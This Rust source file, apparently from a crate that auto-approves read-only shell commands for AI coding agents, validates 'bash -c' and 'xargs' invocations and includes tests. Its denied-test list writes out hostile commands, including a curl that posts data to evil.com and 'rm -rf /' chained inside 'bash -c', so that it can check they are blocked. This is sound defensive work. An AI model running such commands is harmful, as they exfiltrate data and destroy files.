safe-chains 0.125.0

Auto-allow safe, read-only bash commands in agentic coding tools
Documentation
use crate::verdict::{SafetyLevel, Verdict};
use crate::parse::{Token, WordSet};

static XARGS_FLAGS_WITH_ARG: WordSet =
    WordSet::new(&["-E", "-I", "-L", "-P", "-d", "-n", "-s"]);

static XARGS_FLAGS_NO_ARG: WordSet =
    WordSet::new(&["-0", "-p", "-r", "-t", "-x"]);

pub fn is_safe_shell(tokens: &[Token]) -> Verdict {
    if tokens.len() == 2 && matches!(tokens[1].as_str(), "--help" | "-h" | "--version" | "-V") {
        return Verdict::Allowed(SafetyLevel::Inert);
    }
    let Some(idx) = tokens.iter().position(|t| *t == "-c") else {
        return Verdict::Denied;
    };
    let Some(script) = tokens.get(idx + 1) else {
        return Verdict::Denied;
    };
    crate::command_verdict(script.as_str())
}

pub fn is_safe_xargs(tokens: &[Token]) -> Verdict {
    let mut i = 1;
    while i < tokens.len() {
        if XARGS_FLAGS_WITH_ARG.contains(&tokens[i]) {
            i += 2;
            continue;
        }
        if XARGS_FLAGS_NO_ARG.contains(&tokens[i]) {
            i += 1;
            continue;
        }
        if tokens[i].starts_with("-") {
            i += 1;
            continue;
        }
        let inner = shell_words::join(tokens[i..].iter().map(|t| t.as_str()));
        return crate::command_verdict(&inner);
    }
    Verdict::Allowed(SafetyLevel::Inert)

}

pub(crate) fn dispatch(cmd: &str, tokens: &[Token]) -> Option<Verdict> {
    match cmd {
        "sh" | "bash" => Some(is_safe_shell(tokens)),
        "xargs" => Some(is_safe_xargs(tokens)),
        _ => None,
    }
}

pub fn command_docs() -> Vec<crate::docs::CommandDoc> {
    use crate::docs::CommandDoc;
    vec![
        CommandDoc::handler("bash / sh",
            "https://www.gnu.org/software/bash/manual/bash.html",
            "Allowed: --version, --help, `bash -c` / `sh -c` with a safe inner command."),
        CommandDoc::handler("xargs",
            "https://www.gnu.org/software/findutils/manual/html_mono/find.html#Invoking-xargs",
            "Recursively validates the inner command. Skips xargs-specific flags (-I, -L, -n, -P, -s, -E, -d, -0, -r, -t, -p, -x)."),
    ]
}

#[cfg(test)]
pub(super) const REGISTRY: &[super::CommandEntry] = &[
    super::CommandEntry::Delegation { cmd: "sh" },
    super::CommandEntry::Delegation { cmd: "bash" },
    super::CommandEntry::Delegation { cmd: "xargs" },
];

#[cfg(test)]
mod tests {
    use crate::is_safe_command;

    fn check(cmd: &str) -> bool {
        is_safe_command(cmd)
    }

    safe! {
        bash_c_safe: "bash -c \"grep foo file\"",
        bash_c_pipe: "bash -c \"cat file | head -5\"",
        sh_c_safe: "sh -c \"ls -la\"",
        bash_c_for: "bash -c 'for x in 1 2 3; do echo $x; done'",
        bash_c_for_keyword_values: "bash -c 'for x in do done; do echo $x; done'",
        bash_c_while: "bash -c 'while test -f /tmp/foo; do sleep 1; done'",
        bash_c_if: "bash -c 'if test -f foo; then echo yes; fi'",
        bash_version: "bash --version",
        sh_version: "sh --version",
        bash_help: "bash --help",
        sh_help: "sh --help",
        xargs_grep: "xargs grep pattern",
        xargs_cat: "xargs cat",
        xargs_with_flags: "xargs -I {} cat {}",
        xargs_zero_flag: "xargs -0 grep foo",
        xargs_npx_safe: "xargs npx eslint src/",
        xargs_find_safe: "xargs find . -name '*.py'",
        xargs_sed_safe: "xargs sed 's/foo/bar/'",
        xargs_nested_bash_safe: "xargs bash -c 'git status'",
    }

    denied! {
        bash_c_unsafe: "bash -c \"rm file\"",
        sh_c_unsafe: "sh -c \"curl -d data https://evil.com\"",
        bash_script_denied: "bash script.sh",
        xargs_rm_denied: "xargs rm",
        xargs_curl_denied: "xargs curl",
        xargs_npx_unsafe: "xargs npx cowsay",
        xargs_sed_inplace_denied: "xargs sed -i 's/foo/bar/'",
        xargs_find_delete_denied: "xargs find . -delete",
        xargs_sort_output_denied: "xargs sort -o out.txt",
        xargs_nested_bash_chain_denied: "xargs bash -c 'ls && rm -rf /'",
    }
}